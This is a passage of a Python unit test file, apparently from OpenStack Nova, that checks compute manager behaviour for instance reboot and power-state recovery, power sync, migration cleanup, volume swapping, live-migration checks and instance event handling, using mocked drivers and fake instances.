vm_states.ALLOW_HARD_REBOOT: # NOTE(dave-mcnally) while a reboot of a vm in error state is # possible we don't attempt to recover an error during init if state == vm_states.ERROR: continue instance.vm_state = state self._test_init_instance_retries_reboot(instance, 'HARD', power_state.SHUTDOWN) self.assertEqual(task_states.REBOOT_PENDING_HARD, instance.task_state) def test_init_instance_retries_reboot_started(self): instance = objects.Instance(self.context) instance.uuid = 'foo' instance.vm_state = vm_states.ACTIVE instance.task_state = task_states.REBOOT_STARTED self._test_init_instance_retries_reboot(instance, 'HARD', power_state.NOSTATE) def test_init_instance_retries_reboot_started_hard(self): instance = objects.Instance(self.context) instance.uuid = 'foo' instance.vm_state = vm_states.ACTIVE instance.task_state = task_states.REBOOT_STARTED_HARD self._test_init_instance_retries_reboot(instance, 'HARD', power_state.NOSTATE) def _test_init_instance_cleans_reboot_state(self, instance): instance.host = self.compute.host with contextlib.nested( mock.patch.object(self.compute, '_get_power_state', return_value=power_state.RUNNING), mock.patch.object(instance, 'save', autospec=True), mock.patch.object(compute_utils, 'get_nw_info_for_instance') ) as ( _get_power_state, instance_save, get_nw_info_for_instance ): self.compute._init_instance(self.context, instance) instance_save.assert_called_once_with() self.assertIsNone(instance.task_state) self.assertEqual(vm_states.ACTIVE, instance.vm_state) def test_init_instance_cleans_image_state_reboot_started(self): instance = objects.Instance(self.context) instance.uuid = 'foo' instance.vm_state = vm_states.ACTIVE instance.task_state = task_states.REBOOT_STARTED instance.power_state = power_state.RUNNING self._test_init_instance_cleans_reboot_state(instance) def test_init_instance_cleans_image_state_reboot_started_hard(self): instance = objects.Instance(self.context) instance.uuid = 'foo' instance.vm_state = vm_states.ACTIVE instance.task_state = task_states.REBOOT_STARTED_HARD instance.power_state = power_state.RUNNING self._test_init_instance_cleans_reboot_state(instance) def test_init_instance_retries_power_off(self): instance = objects.Instance(self.context) instance.uuid = 'foo' instance.id = 1 instance.vm_state = vm_states.ACTIVE instance.task_state = task_states.POWERING_OFF instance.host = self.compute.host with mock.patch.object(self.compute, 'stop_instance'): self.compute._init_instance(self.context, instance) call = mock.call(self.context, instance, True) self.compute.stop_instance.assert_has_calls([call]) def test_init_instance_retries_power_on(self): instance = objects.Instance(self.context) instance.uuid = 'foo' instance.id = 1 instance.vm_state = vm_states.ACTIVE instance.task_state = task_states.POWERING_ON instance.host = self.compute.host with mock.patch.object(self.compute, 'start_instance'): self.compute._init_instance(self.context, instance) call = mock.call(self.context, instance) self.compute.start_instance.assert_has_calls([call]) def test_init_instance_retries_power_on_silent_exception(self): instance = objects.Instance(self.context) instance.uuid = 'foo' instance.id = 1 instance.vm_state = vm_states.ACTIVE instance.task_state = task_states.POWERING_ON instance.host = self.compute.host with mock.patch.object(self.compute, 'start_instance', return_value=Exception): init_return = self.compute._init_instance(self.context, instance) call = mock.call(self.context, instance) self.compute.start_instance.assert_has_calls([call]) self.assertIsNone(init_return) def test_init_instance_retries_power_off_silent_exception(self): instance = objects.Instance(self.context) instance.uuid = 'foo' instance.id = 1 instance.vm_state = vm_states.ACTIVE instance.task_state = task_states.POWERING_OFF instance.host = self.compute.host with mock.patch.object(self.compute, 'stop_instance', return_value=Exception): init_return = self.compute._init_instance(self.context, instance) call = mock.call(self.context, instance, True) self.compute.stop_instance.assert_has_calls([call]) self.assertIsNone(init_return) def test_get_instances_on_driver(self): driver_instances = [] for x in range(10): driver_instances.append(fake_instance.fake_db_instance()) self.mox.StubOutWithMock(self.compute.driver, 'list_instance_uuids') self.mox.StubOutWithMock(db, 'instance_get_all_by_filters') self.compute.driver.list_instance_uuids().AndReturn( [inst['uuid'] for inst in driver_instances]) db.instance_get_all_by_filters( self.context, {'uuid': [inst['uuid'] for inst in driver_instances]}, 'created_at', 'desc', columns_to_join=None, limit=None, marker=None, use_slave=True).AndReturn( driver_instances) self.mox.ReplayAll() result = self.compute._get_instances_on_driver(self.context) self.assertEqual([x['uuid'] for x in driver_instances], [x['uuid'] for x in result]) @mock.patch('nova.virt.driver.ComputeDriver.list_instance_uuids') @mock.patch('nova.db.api.instance_get_all_by_filters') def test_get_instances_on_driver_empty(self, mock_list, mock_db): mock_list.return_value = [] result = self.compute._get_instances_on_driver(self.context) # instance_get_all_by_filters should not be called self.assertEqual(0, mock_db.call_count) self.assertEqual([], [x['uuid'] for x in result]) def test_get_instances_on_driver_fallback(self): # Test getting instances when driver doesn't support # 'list_instance_uuids' self.compute.host = 'host' filters = {'host': self.compute.host} self.flags(instance_name_template='inst-%i') all_instances = [] driver_instances = [] for x in range(10): instance = fake_instance.fake_db_instance(name='inst-%i' % x, id=x) if x % 2: driver_instances.append(instance) all_instances.append(instance) self.mox.StubOutWithMock(self.compute.driver, 'list_instance_uuids') self.mox.StubOutWithMock(self.compute.driver, 'list_instances') self.mox.StubOutWithMock(db, 'instance_get_all_by_filters') self.compute.driver.list_instance_uuids().AndRaise( NotImplementedError()) self.compute.driver.list_instances().AndReturn( [inst['name'] for inst in driver_instances]) db.instance_get_all_by_filters( self.context, filters, 'created_at', 'desc', columns_to_join=None, limit=None, marker=None, use_slave=True).AndReturn(all_instances) self.mox.ReplayAll() result = self.compute._get_instances_on_driver(self.context, filters) self.assertEqual([x['uuid'] for x in driver_instances], [x['uuid'] for x in result]) def test_instance_usage_audit(self): instances = [objects.Instance(uuid='foo')] @classmethod def fake_task_log(*a, **k): pass @classmethod def fake_get(*a, **k): return instances self.flags(instance_usage_audit=True) self.stubs.Set(objects.TaskLog, 'get', fake_task_log) self.stubs.Set(objects.InstanceList, 'get_active_by_window_joined', fake_get) self.stubs.Set(objects.TaskLog, 'begin_task', fake_task_log) self.stubs.Set(objects.TaskLog, 'end_task', fake_task_log) self.mox.StubOutWithMock(compute_utils, 'notify_usage_exists') compute_utils.notify_usage_exists(self.compute.notifier, self.context, instances[0], ignore_missing_network_data=False) self.mox.ReplayAll() self.compute._instance_usage_audit(self.context) @mock.patch.object(objects.InstanceList, 'get_by_host') def test_sync_power_states(self, mock_get): instance = mock.Mock() mock_get.return_value = [instance] with mock.patch.object(self.compute._sync_power_pool, 'spawn_n') as mock_spawn: self.compute._sync_power_states(mock.sentinel.context) mock_get.assert_called_with(mock.sentinel.context, self.compute.host, expected_attrs=[], use_slave=True) mock_spawn.assert_called_once_with(mock.ANY, instance) def _get_sync_instance(self, power_state, vm_state, task_state=None, shutdown_terminate=False): instance = objects.Instance() instance.uuid = 'fake-uuid' instance.power_state = power_state instance.vm_state = vm_state instance.host = self.compute.host instance.task_state = task_state instance.shutdown_terminate = shutdown_terminate self.mox.StubOutWithMock(instance, 'refresh') self.mox.StubOutWithMock(instance, 'save') return instance def test_sync_instance_power_state_match(self): instance = self._get_sync_instance(power_state.RUNNING, vm_states.ACTIVE) instance.refresh(use_slave=False) self.mox.ReplayAll() self.compute._sync_instance_power_state(self.context, instance, power_state.RUNNING) def test_sync_instance_power_state_running_stopped(self): instance = self._get_sync_instance(power_state.RUNNING, vm_states.ACTIVE) instance.refresh(use_slave=False) instance.save() self.mox.ReplayAll() self.compute._sync_instance_power_state(self.context, instance, power_state.SHUTDOWN) self.assertEqual(instance.power_state, power_state.SHUTDOWN) def _test_sync_to_stop(self, power_state, vm_state, driver_power_state, stop=True, force=False, shutdown_terminate=False): instance = self._get_sync_instance( power_state, vm_state, shutdown_terminate=shutdown_terminate) instance.refresh(use_slave=False) instance.save() self.mox.StubOutWithMock(self.compute.compute_api, 'stop') self.mox.StubOutWithMock(self.compute.compute_api, 'delete') self.mox.StubOutWithMock(self.compute.compute_api, 'force_stop') if shutdown_terminate: self.compute.compute_api.delete(self.context, instance) elif stop: if force: self.compute.compute_api.force_stop(self.context, instance) else: self.compute.compute_api.stop(self.context, instance) self.mox.ReplayAll() self.compute._sync_instance_power_state(self.context, instance, driver_power_state) self.mox.VerifyAll() self.mox.UnsetStubs() def test_sync_instance_power_state_to_stop(self): for ps in (power_state.SHUTDOWN, power_state.CRASHED, power_state.SUSPENDED): self._test_sync_to_stop(power_state.RUNNING, vm_states.ACTIVE, ps) for ps in (power_state.SHUTDOWN, power_state.CRASHED): self._test_sync_to_stop(power_state.PAUSED, vm_states.PAUSED, ps, force=True) self._test_sync_to_stop(power_state.SHUTDOWN, vm_states.STOPPED, power_state.RUNNING, force=True) def test_sync_instance_power_state_to_terminate(self): self._test_sync_to_stop(power_state.RUNNING, vm_states.ACTIVE, power_state.SHUTDOWN, force=False, shutdown_terminate=True) def test_sync_instance_power_state_to_no_stop(self): for ps in (power_state.PAUSED, power_state.NOSTATE): self._test_sync_to_stop(power_state.RUNNING, vm_states.ACTIVE, ps, stop=False) for vs in (vm_states.SOFT_DELETED, vm_states.DELETED): for ps in (power_state.NOSTATE, power_state.SHUTDOWN): self._test_sync_to_stop(power_state.RUNNING, vs, ps, stop=False) @mock.patch('nova.compute.manager.ComputeManager.' '_sync_instance_power_state') def test_query_driver_power_state_and_sync_pending_task( self, mock_sync_power_state): with mock.patch.object(self.compute.driver, 'get_info') as mock_get_info: db_instance = objects.Instance(uuid='fake-uuid', task_state=task_states.POWERING_OFF) self.compute._query_driver_power_state_and_sync(self.context, db_instance) self.assertFalse(mock_get_info.called) self.assertFalse(mock_sync_power_state.called) @mock.patch('nova.compute.manager.ComputeManager.' '_sync_instance_power_state') def test_query_driver_power_state_and_sync_not_found_driver( self, mock_sync_power_state): error = exception.InstanceNotFound(instance_id=1) with mock.patch.object(self.compute.driver, 'get_info', side_effect=error) as mock_get_info: db_instance = objects.Instance(uuid='fake-uuid', task_state=None) self.compute._query_driver_power_state_and_sync(self.context, db_instance) mock_get_info.assert_called_once_with(db_instance) mock_sync_power_state.assert_called_once_with(self.context, db_instance, power_state.NOSTATE, use_slave=True) def test_run_pending_deletes(self): self.flags(instance_delete_interval=10) class FakeInstance(object): def __init__(self, uuid, name, smd): self.uuid = uuid self.name = name self.system_metadata = smd self.cleaned = False def __getitem__(self, name): return getattr(self, name) def save(self): pass a = FakeInstance('123', 'apple', {'clean_attempts': '100'}) b = FakeInstance('456', 'orange', {'clean_attempts': '3'}) c = FakeInstance('789', 'banana', {}) self.mox.StubOutWithMock(objects.InstanceList, 'get_by_filters') objects.InstanceList.get_by_filters( {'read_deleted': 'yes'}, {'deleted': True, 'soft_deleted': False, 'host': 'fake-mini', 'cleaned': False}, expected_attrs=['info_cache', 'security_groups', 'system_metadata'], use_slave=True).AndReturn([a, b, c]) self.mox.StubOutWithMock(self.compute.driver, 'delete_instance_files') self.compute.driver.delete_instance_files( mox.IgnoreArg()).AndReturn(True) self.compute.driver.delete_instance_files( mox.IgnoreArg()).AndReturn(False) self.mox.ReplayAll() self.compute._run_pending_deletes({}) self.assertFalse(a.cleaned) self.assertEqual('100', a.system_metadata['clean_attempts']) self.assertTrue(b.cleaned) self.assertEqual('4', b.system_metadata['clean_attempts']) self.assertFalse(c.cleaned) self.assertEqual('1', c.system_metadata['clean_attempts']) @mock.patch.object(objects.Migration, 'obj_as_admin') @mock.patch.object(objects.Migration, 'save') @mock.patch.object(objects.MigrationList, 'get_by_filters') @mock.patch.object(objects.InstanceList, 'get_by_filters') def _test_cleanup_incomplete_migrations(self, inst_host, mock_inst_get_by_filters, mock_migration_get_by_filters, mock_save, mock_obj_as_admin): def fake_inst(context, uuid, host): inst = objects.Instance(context) inst.uuid = uuid inst.host = host return inst def fake_migration(uuid, status, inst_uuid, src_host, dest_host): migration = objects.Migration() migration.uuid = uuid migration.status = status migration.instance_uuid = inst_uuid migration.source_compute = src_host migration.dest_compute = dest_host return migration fake_instances = [fake_inst(self.context, '111', inst_host), fake_inst(self.context, '222', inst_host)] fake_migrations = [fake_migration('123', 'error', '111', 'fake-host', 'fake-mini'), fake_migration('456', 'error', '222', 'fake-host', 'fake-mini')] mock_migration_get_by_filters.return_value = fake_migrations mock_inst_get_by_filters.return_value = fake_instances with mock.patch.object(self.compute.driver, 'delete_instance_files'): self.compute._cleanup_incomplete_migrations(self.context) # Ensure that migration status is set to 'failed' after instance # files deletion for those instances whose instance.host is not # same as compute host where periodic task is running. for inst in fake_instances: if inst.host != CONF.host: for mig in fake_migrations: if inst.uuid == mig.instance_uuid: self.assertEqual('failed', mig.status) def test_cleanup_incomplete_migrations_dest_node(self): """Test to ensure instance files are deleted from destination node. If instance gets deleted during resizing/revert-resizing operation, in that case instance files gets deleted from instance.host (source host here), but there is possibility that instance files could be present on destination node. This test ensures that `_cleanup_incomplete_migration` periodic task deletes orphaned instance files from destination compute node. """ self.flags(host='fake-mini') self._test_cleanup_incomplete_migrations('fake-host') def test_cleanup_incomplete_migrations_source_node(self): """Test to ensure instance files are deleted from source node. If instance gets deleted during resizing/revert-resizing operation, in that case instance files gets deleted from instance.host (dest host here), but there is possibility that instance files could be present on source node. This test ensures that `_cleanup_incomplete_migration` periodic task deletes orphaned instance files from source compute node. """ self.flags(host='fake-host') self._test_cleanup_incomplete_migrations('fake-mini') def test_attach_interface_failure(self): # Test that the fault methods are invoked when an attach fails db_instance = fake_instance.fake_db_instance() f_instance = objects.Instance._from_db_object(self.context, objects.Instance(), db_instance) e = exception.InterfaceAttachFailed(instance_uuid=f_instance.uuid) @mock.patch.object(compute_utils, 'add_instance_fault_from_exc') @mock.patch.object(self.compute.network_api, 'allocate_port_for_instance', side_effect=e) @mock.patch.object(self.compute, '_instance_update', side_effect=lambda *a, **k: {}) def do_test(update, meth, add_fault): self.assertRaises(exception.InterfaceAttachFailed, self.compute.attach_interface, self.context, f_instance, 'net_id', 'port_id', None) add_fault.assert_has_calls([ mock.call(self.context, f_instance, e, mock.ANY)]) do_test() def test_detach_interface_failure(self): # Test that the fault methods are invoked when a detach fails # Build test data that will cause a PortNotFound exception f_instance = mock.MagicMock() f_instance.info_cache = mock.MagicMock() f_instance.info_cache.network_info = [] @mock.patch.object(compute_utils, 'add_instance_fault_from_exc') @mock.patch.object(self.compute, '_set_instance_obj_error_state') def do_test(meth, add_fault): self.assertRaises(exception.PortNotFound, self.compute.detach_interface, self.context, f_instance, 'port_id') add_fault.assert_has_calls( [mock.call(self.context, f_instance, mock.ANY, mock.ANY)]) do_test() def test_swap_volume_volume_api_usage(self): # This test ensures that volume_id arguments are passed to volume_api # and that volume states are OK volumes = {} old_volume_id = uuidutils.generate_uuid() volumes[old_volume_id] = {'id': old_volume_id, 'display_name': 'old_volume', 'status': 'detaching', 'size': 1} new_volume_id = uuidutils.generate_uuid() volumes[new_volume_id] = {'id': new_volume_id, 'display_name': 'new_volume', 'status': 'available', 'size': 2} def fake_vol_api_roll_detaching(context, volume_id): self.assertTrue(uuidutils.is_uuid_like(volume_id)) if volumes[volume_id]['status'] == 'detaching': volumes[volume_id]['status'] = 'in-use' fake_bdm = fake_block_device.FakeDbBlockDeviceDict( {'device_name': '/dev/vdb', 'source_type': 'volume', 'destination_type': 'volume', 'instance_uuid': 'fake', 'connection_info': '{"foo": "bar"}'}) def fake_vol_api_func(context, volume, *args): self.assertTrue(uuidutils.is_uuid_like(volume)) return {} def fake_vol_get(context, volume_id): self.assertTrue(uuidutils.is_uuid_like(volume_id)) return volumes[volume_id] def fake_vol_unreserve(context, volume_id): self.assertTrue(uuidutils.is_uuid_like(volume_id)) if volumes[volume_id]['status'] == 'attaching': volumes[volume_id]['status'] = 'available' def fake_vol_migrate_volume_completion(context, old_volume_id, new_volume_id, error=False): self.assertTrue(uuidutils.is_uuid_like(old_volume_id)) self.assertTrue(uuidutils.is_uuid_like(new_volume_id)) volumes[old_volume_id]['status'] = 'in-use' return {'save_volume_id': new_volume_id} def fake_func_exc(*args, **kwargs): raise AttributeError # Random exception def fake_swap_volume(old_connection_info, new_connection_info, instance, mountpoint, resize_to): self.assertEqual(resize_to, 2) def fake_block_device_mapping_update(ctxt, id, updates, legacy): self.assertEqual(2, updates['volume_size']) return fake_bdm self.stubs.Set(self.compute.volume_api, 'roll_detaching', fake_vol_api_roll_detaching) self.stubs.Set(self.compute.volume_api, 'get', fake_vol_get) self.stubs.Set(self.compute.volume_api, 'initialize_connection', fake_vol_api_func) self.stubs.Set(self.compute.volume_api, 'unreserve_volume', fake_vol_unreserve) self.stubs.Set(self.compute.volume_api, 'terminate_connection', fake_vol_api_func) self.stubs.Set(db, 'block_device_mapping_get_by_volume_id', lambda x, y, z: fake_bdm) self.stubs.Set(self.compute.driver, 'get_volume_connector', lambda x: {}) self.stubs.Set(self.compute.driver, 'swap_volume', fake_swap_volume) self.stubs.Set(self.compute.volume_api, 'migrate_volume_completion', fake_vol_migrate_volume_completion) self.stubs.Set(db, 'block_device_mapping_update', fake_block_device_mapping_update) self.stubs.Set(db, 'instance_fault_create', lambda x, y: test_instance_fault.fake_faults['fake-uuid'][0]) self.stubs.Set(self.compute, '_instance_update', lambda c, u, **k: {}) # Good path self.compute.swap_volume(self.context, old_volume_id, new_volume_id, fake_instance.fake_instance_obj( self.context, **{'uuid': 'fake'})) self.assertEqual(volumes[old_volume_id]['status'], 'in-use') # Error paths volumes[old_volume_id]['status'] = 'detaching' volumes[new_volume_id]['status'] = 'attaching' self.stubs.Set(self.compute.driver, 'swap_volume', fake_func_exc) self.assertRaises(AttributeError, self.compute.swap_volume, self.context, old_volume_id, new_volume_id, fake_instance.fake_instance_obj( self.context, **{'uuid': 'fake'})) self.assertEqual(volumes[old_volume_id]['status'], 'in-use') self.assertEqual(volumes[new_volume_id]['status'], 'available') volumes[old_volume_id]['status'] = 'detaching' volumes[new_volume_id]['status'] = 'attaching' self.stubs.Set(self.compute.volume_api, 'initialize_connection', fake_func_exc) self.assertRaises(AttributeError, self.compute.swap_volume, self.context, old_volume_id, new_volume_id, fake_instance.fake_instance_obj( self.context, **{'uuid': 'fake'})) self.assertEqual(volumes[old_volume_id]['status'], 'in-use') self.assertEqual(volumes[new_volume_id]['status'], 'available') @mock.patch.object(compute_utils, 'EventReporter') def test_check_can_live_migrate_source(self, event_mock): is_volume_backed = 'volume_backed' dest_check_data = dict(foo='bar') db_instance = fake_instance.fake_db_instance() instance = objects.Instance._from_db_object( self.context, objects.Instance(), db_instance) expected_dest_check_data = dict(dest_check_data, is_volume_backed=is_volume_backed) self.mox.StubOutWithMock(self.compute.compute_api, 'is_volume_backed_instance') self.mox.StubOutWithMock(self.compute, '_get_instance_block_device_info') self.mox.StubOutWithMock(self.compute.driver, 'check_can_live_migrate_source') self.compute.compute_api.is_volume_backed_instance( self.context, instance).AndReturn(is_volume_backed) self.compute._get_instance_block_device_info( self.context, instance, refresh_conn_info=True ).AndReturn({'block_device_mapping': 'fake'}) self.compute.driver.check_can_live_migrate_source( self.context, instance, expected_dest_check_data, {'block_device_mapping': 'fake'}) self.mox.ReplayAll() self.compute.check_can_live_migrate_source( self.context, instance=instance, dest_check_data=dest_check_data) event_mock.assert_called_once_with( self.context, 'compute_check_can_live_migrate_source', instance.uuid) @mock.patch.object(compute_utils, 'EventReporter') def _test_check_can_live_migrate_destination(self, event_mock, do_raise=False, has_mig_data=False): db_instance = fake_instance.fake_db_instance(host='fake-host') instance = objects.Instance._from_db_object( self.context, objects.Instance(), db_instance) instance.host = 'fake-host' block_migration = 'block_migration' disk_over_commit = 'disk_over_commit' src_info = 'src_info' dest_info = 'dest_info' dest_check_data = dict(foo='bar') mig_data = dict(cow='moo') expected_result = dict(mig_data) if has_mig_data: dest_check_data['migrate_data'] = dict(cat='meow') expected_result.update(cat='meow') self.mox.StubOutWithMock(self.compute, '_get_compute_info') self.mox.StubOutWithMock(self.compute.driver, 'check_can_live_migrate_destination') self.mox.StubOutWithMock(self.compute.compute_rpcapi, 'check_can_live_migrate_source') self.mox.StubOutWithMock(self.compute.driver, 'check_can_live_migrate_destination_cleanup') self.compute._get_compute_info(self.context, 'fake-host').AndReturn(src_info) self.compute._get_compute_info(self.context, CONF.host).AndReturn(dest_info) self.compute.driver.check_can_live_migrate_destination( self.context, instance, src_info, dest_info, block_migration, disk_over_commit).AndReturn(dest_check_data) mock_meth = self.compute.compute_rpcapi.check_can_live_migrate_source( self.context, instance, dest_check_data) if do_raise: mock_meth.AndRaise(test.TestingException()) self.mox.StubOutWithMock(db, 'instance_fault_create') db.instance_fault_create( self.context, mox.IgnoreArg()).AndReturn( test_instance_fault.fake_faults['fake-uuid'][0]) else: mock_meth.AndReturn(mig_data) self.compute.driver.check_can_live_migrate_destination_cleanup( self.context, dest_check_data) self.mox.ReplayAll() result = self.compute.check_can_live_migrate_destination( self.context, instance=instance, block_migration=block_migration, disk_over_commit=disk_over_commit) self.assertEqual(expected_result, result) event_mock.assert_called_once_with( self.context, 'compute_check_can_live_migrate_destination', instance.uuid) def test_check_can_live_migrate_destination_success(self): self._test_check_can_live_migrate_destination() def test_check_can_live_migrate_destination_success_w_mig_data(self): self._test_check_can_live_migrate_destination(has_mig_data=True) def test_check_can_live_migrate_destination_fail(self): self.assertRaises( test.TestingException, self._test_check_can_live_migrate_destination, do_raise=True) @mock.patch('nova.compute.manager.InstanceEvents._lock_name') def test_prepare_for_instance_event(self, lock_name_mock): inst_obj = objects.Instance(uuid='foo') result = self.compute.instance_events.prepare_for_instance_event( inst_obj, 'test-event') self.assertIn('foo', self.compute.instance_events._events) self.assertIn('test-event', self.compute.instance_events._events['foo']) self.assertEqual( result, self.compute.instance_events._events['foo']['test-event']) self.assertTrue(hasattr(result, 'send')) lock_name_mock.assert_called_once_with(inst_obj) @mock.patch('nova.compute.manager.InstanceEvents._lock_name') def test_pop_instance_event(self, lock_name_mock): event = eventlet_event.Event() self.compute.instance_events._events = { 'foo': { 'network-vif-plugged': event, } } inst_obj = objects.Instance(uuid='foo') event_obj = objects.InstanceExternalEvent(name='network-vif-plugged', tag=None) result = self.compute.instance_events.pop_instance_event(inst_obj, event_obj) self.assertEqual(result, event) lock_name_mock.assert_called_once_with(inst_obj) @mock.patch('nova.compute.manager.InstanceEvents._lock_name') def test_clear_events_for_instance(self, lock_name_mock): event = eventlet_event.Event() self.compute.instance_events._events = { 'foo': { 'test-event': event, } } inst_obj = objects.Instance(uuid='foo') result = self.compute.instance_events.clear_events_for_instance( inst_obj) self.assertEqual(result, {'test-event': event}) lock_name_mock.assert_called_once_with(inst_obj) def test_instance_events_lock_name(self): inst_obj = objects.Instance(uuid='foo') result = self.compute.instance_events._lock_name(inst_obj) self.assertEqual(result, 'foo-events') def test_prepare_for_instance_event_again(self): inst_obj = objects.Instance(uuid='foo') self.compute.instance_events.prepare_for_instance_event( inst_obj, 'test-event') # A second attempt will avoid creating a new list; make sure we # get the current list result = self.compute.instance_events.prepare_for_instance_event( inst_obj, 'test-event') self.assertIn('foo', self.compute.instance_events._events) self.assertIn('test-event', self.compute.instance_events._events['foo']) self.assertEqual( result, self.compute.instance_events._events['foo']['test-event']) self.assertTrue(hasattr(result, 'send')) def test_process_instance_event(self): event = eventlet_event.Event() self.compute.instance_events._events = { 'foo': { 'network-vif-plugged': event, } } inst_obj = objects.Instance(uuid='foo') event_obj = objects.InstanceExternalEvent(name='network-vif-plugged', tag=None) self.compute._process_instance_event(inst_obj, event_obj) self.assertTrue(event.ready()) self.assertEqual(event_obj, event.wait()) self.assertEqual({}, self.compute.instance_events._events) def test_process_instance_vif_deleted_event(self): vif1 = fake_network_cache_model.new_vif() vif1['id'] = '1' vif2 = fake_network_cache_model.new_vif() vif2['id'] = '2' nw_info = network_model.NetworkInfo([vif1, vif2]) info_cache = objects.InstanceInfoCache(network_info=nw_info, instance_uuid='uuid') inst_obj = objects.Instance(id=3, uuid='uuid', info_cache=info_cache) @mock.patch.object(manager.base_net_api, 'update_instance_cache_with_nw_info') @mock.patch.object(self.compute.driver, 'detach_interface') def do_test(detach_interface, update_instance_cache_with_nw_info): self.compute._process_instance_vif_deleted_event(self.context, inst_obj, vif2['id']) update_instance_cache_with_nw_info.assert_called_once_with( self.compute.network_api, self.context, inst_obj, nw_info=[vif1]) detach_interface.assert_called_once_with(inst_obj, vif2) do_test() def test_external_instance_event(self): instances = [ objects.Instance(id=1, uuid='uuid1'), objects.Instance(id=2, uuid='uuid2'), objects.Instance(id=3, uuid='uuid3')] events = [ objects.InstanceExternalEvent(name='network-changed', tag='tag1', instance_uuid='uuid1'), objects.InstanceExternalEvent(name='network-vif-plugged', instance_uuid='uuid2', tag='tag2'), objects.InstanceExternalEvent(name='network-vif-deleted', instance_uuid='uuid3', tag='tag3')] @mock.patch.object(self.compute, '_process_instance_vif_deleted_event') @mock.patch.object(self.compute.network_api, 'get_instance_nw_info') @mock.patch.object(self.compute, '_process_instance_event') def do_test(_process_instance_event, get_instance_nw_info, _process_instance_vif_deleted_event): self.compute.external_instance_event(self.context, instances, events) get_instance_nw_info.assert_called_once_with(self.context, instances[0]) _process_instance_event.assert_called_once_with(instances[1], events[1]) _process_instance_vif_deleted_event.assert_called_once_with( self.context, instances[2], events[2].tag) do_test() def test_external_instance_event_with_exception(self): vif1 = fake_network_cache_model.new_vif() vif1['id'] = '1' vif2 = fake_network_cache_model.new_vif() vif2['id'] = '2' nw_info = network_model.NetworkInfo([vif1, vif2]) info_cache = objects.InstanceInfoCache(network_info=nw_info, instance_uuid='uuid2') instances = [ objects.Instance(id=1, uuid='uuid1'), objects.Instance(id=2, uuid='uuid2', info_cache=info_cache), objects.Instance(id=3, uuid='uuid3')] events = [ objects.InstanceExternalEvent(name='network-changed', tag='tag1', instance_uuid='uuid1'), objects.InstanceExternalEvent(name='network-vif-deleted', instance_uuid='uuid2', tag='2'), objects.InstanceExternalEvent(name='network-vif-plugged', instance_uuid='uuid3', tag='tag3')] # Make sure all the three events are handled despite the exceptions in # processing events 1 and 2 @mock.patch.object(manager.base_net_api, 'update_instance_cache_with_nw_info') @mock.patch.object(self.compute.driver, 'detach_interface', side_effect=exception.NovaException) @mock.patch.object(self.compute.network_api, 'get_instance_nw_info', side_effect=exception.InstanceInfoCacheNotFound( instance_uuid='uuid1')) @mock.patch.object(self.compute, '_process_instance_event') def do_test(_process_instance_event, get_instance_nw_info, detach_interface, update_instance_cache_with_nw_info): self.compute.external_instance_event(self.context, instances, events) get_instance_nw_info.assert_called_once_with(self.context, instances[0]) update_instance_cache_with_nw_info.assert_called_once_with( self.compute.network_api, self.context, instances[1], nw_info=[vif1]) detach_interface.assert_called_once_with(instances[1], vif2) _process_instance_event.assert_called_once_with(instances[2], events[2]) do_test() def test_cancel_all_events(self): inst = objects.Instance(uuid='uuid') fake_eventlet_event = mock.MagicMock() self.compute.instance_events._events = { inst.uuid: { 'network-vif-plugged-bar': fake_eventlet_event, } } self.compute.instance_events.cancel_all_events() self.assertTrue(fake_eventlet_event.send.called) event = fake_eventlet_event.send.call_args_list[0][0][0] self.assertEqual('network-vif-plugged', event.name) self.assertEqual('bar', event.tag) self.assertEqual('failed', event.status) def test_cleanup_cancels_all_events(self): with mock.patch.object(self.compute, 'instance_events') as mock_ev: self.compute.cleanup_host() mock_ev.cancel_all_events.assert_called_once_with() def test_cleanup_blocks_new_events(self): instance = objects.Instance(uuid='uuid') self.compute.instance_events.cancel_all_events() callback = mock.MagicMock() body = mock.MagicMock() with self.compute.virtapi.wait_for_instance_event( instance, ['network-vif-plugged-bar'], error_callback=callback): body() self.assertTrue(body.called) callback.assert_called_once_with('network-vif-plugged-bar', instance) def test_pop_events_fails_gracefully(self): inst = objects.Instance(uuid='uuid') event = mock.MagicMock() self.compute.instance_events._events = None self.assertIsNone( self.compute.instance_events.pop_instance_event(inst, event)) def test_clear_events_fails_gracefully(self): inst = objects.Instance(uuid='uuid') self.compute.instance_events._events = None self.assertEqual( self.compute.instance_events.clear_events_for_instance(inst), {}) def test_retry_reboot_pending_soft(self): instance = objects.Instance(self.context) instance.uuid = 'foo' instance.task_state = task_states.REBOOT_PENDING instance.vm_state = vm_states.ACTIVE with mock.patch.object(self.compute, '_get_power_state', return_value=power_state.RUNNING): allow_reboot, reboot_type = self.compute._retry_reboot( context, instance) self.assertTrue(allow_reboot) self.assertEqual(reboot_type, 'SOFT') def test_retry_reboot_pending_hard(self): instance = objects.Instance(self.context) instance.uuid = 'foo' instance.task_state = task_states.REBOOT_PENDING_HARD instance.vm_state = vm_states.ACTIVE with mock.patch.object(self.compute, '_get_power_state', return_value=power_state.RUNNING): allow_reboot, reboot_type = self.compute._retry_reboot( context, instance) self.assertTrue(allow_reboot) self.assertEqual(reboot_type, 'HARD') def test_retry_reboot_starting_soft_off(self): instance = objects.Instance(self.context) instance.uuid = 'foo' instance.task_state = task_states.REBOOT_STARTED with mock.patch.object(self.compute, '_get_power_state', return_value=power_state.NOSTATE): allow_reboot, reboot_type = self.compute._retry_reboot( context, instance) self.assertTrue(allow_reboot) self.assertEqual(reboot_type, 'HARD') def test_retry_reboot_starting_hard_off(self): instance = objects.Instance(self.context) instance.uuid = 'foo' instance.task_state = task_states.REBOOT_STARTED_HARD with mock.patch.object(self.compute, '_get_power_state', return_value=power_state.NOSTATE): allow_reboot, reboot_type = self.compute._retry_reboot( context, instance) self.assertTrue(allow_reboot) self.assertEqual(reboot_type, 'HARD') def test_retry_reboot_starting_hard_on(self): instance = objects.Instance(self.context) instance.uuid = 'foo' instance.task_state = task_states.REBOOT_STARTED_HARD with mock.patch.object(self.compute, '_get_power_state', return_value=power_state.RUNNING): allow_reboot, reboot_type = self.compute._retry_reboot( context, instance) self.assertFalse(allow_reboot) self.assertEqual(reboot_type, 'HARD') def test_retry_reboot_no_reboot(self): instance = objects.Instance(self.context) instance.uuid = 'foo' instance.task_state = 'bar' with mock.patch.object(self.compute, '_get_power_state', return_value=power_state.RUNNING): allow_reboot, reboot_type = self.compute._retry_reboot( context, instance) self.assertFalse(allow_reboot) self.assertEqual(reboot_type, 'HARD') @mock.patch('nova.objects.BlockDeviceMapping.get_by_volume_id') @mock.patch('nova.compute.manager.ComputeManager._driver_detach_volume') @mock.patch('nova.objects.Instance._from_db_object') def 